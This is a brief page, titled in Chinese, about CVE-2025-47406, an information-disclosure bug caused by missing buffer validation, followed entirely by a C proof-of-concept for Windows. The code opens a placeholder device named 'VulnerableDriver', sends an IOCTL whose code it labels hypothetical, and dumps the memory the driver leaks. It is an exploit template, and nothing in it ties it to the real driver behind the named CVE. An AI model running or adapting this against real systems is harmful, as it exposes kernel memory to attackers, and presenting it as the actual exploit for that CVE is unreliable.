CVE-2025-47406 缓冲区验证缺失致信息泄露

#include <windows.h> #include <stdio.h> // Hypothetical Vulnerable IOCTL Code #define VULN_IOCTL 0x80002010 int main() { HANDLE hDevice = CreateFileA("\\\\.\\VulnerableDriver", GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] Failed to open device. Error: %d\n", GetLastError()); return 1; } BYTE outputBuffer[0x1000]; DWORD bytesReturned = 0; printf("[*] Sending IOCTL to trigger information disclosure...\n"); // Trigger the vulnerability by sending an IOCTL with a buffer size // that the driver fails to validate correctly before copying memory. BOOL result = DeviceIoControl( hDevice, VULN_IOCTL, NULL, 0, outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL ); if (result) { printf("[+] IOCTL Success! Bytes returned: %d\n", bytesReturned); printf("[+] Dumping leaked memory:\n"); for (int i = 0; i < bytesReturned; i++) { printf("%02X ", outputBuffer[i]); if ((i + 1) % 16 == 0) printf("\n"); } } else { printf("[-] IOCTL failed. Error: %d\n", GetLastError()); } CloseHandle(hDevice); return 0; }